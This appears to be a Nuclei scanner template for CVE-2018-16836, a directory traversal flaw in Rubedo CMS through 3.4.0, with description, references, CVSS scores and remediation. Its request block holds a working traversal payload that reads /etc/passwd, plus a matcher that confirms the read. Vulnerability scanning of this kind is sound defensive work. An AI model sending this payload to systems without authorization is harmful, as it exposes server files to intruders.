Rubedo CMS through 3.4.0 contains a directory traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI.
PoC代码[已公开]
id: CVE-2018-16836
info:
name: Rubedo CMS <=3.4.0 - Directory Traversal
author: 0x_Akoko
severity: critical
description: Rubedo CMS through 3.4.0 contains a directory traversal vulnerability in the theme component, allowing unauthenticated attackers to read and execute arbitrary files outside of the service root path, as demonstrated by a /theme/default/img/%2e%2e/..//etc/passwd URI.
impact: |
An attacker can exploit this vulnerability to read arbitrary files on the server.
remediation: |
Upgrade to a patched version of Rubedo CMS (>=3.4.1) or apply the provided security patch.
reference:
- https://www.exploit-db.com/exploits/45385
- https://nvd.nist.gov/vuln/detail/CVE-2018-16836
- https://github.com/maroueneboubakri/CVE/tree/master/rubedo-cms
- https://www.exploit-db.com/exploits/45385/
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-16836
cwe-id: CWE-22
epss-score: 0.86763
epss-percentile: 0.99391
cpe: cpe:2.3:a:rubedo_project:rubedo:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: rubedo_project
product: rubedo
tags: cve2018,cve,rubedo,lfi,edb,rubedo_project
http:
- method: GET
path:
- "{{BaseURL}}/theme/default/img/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e//etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a0046304402203575cdad3e4446c6ddebaddaffc2a1822c45660d433b5125cbae8bb54eec2e400220616168c333b548776e1aaf09487fb830fc7e166ae8ebc15fe76ba3ed677a9048:922c64590222798bb761d5b6d8e72950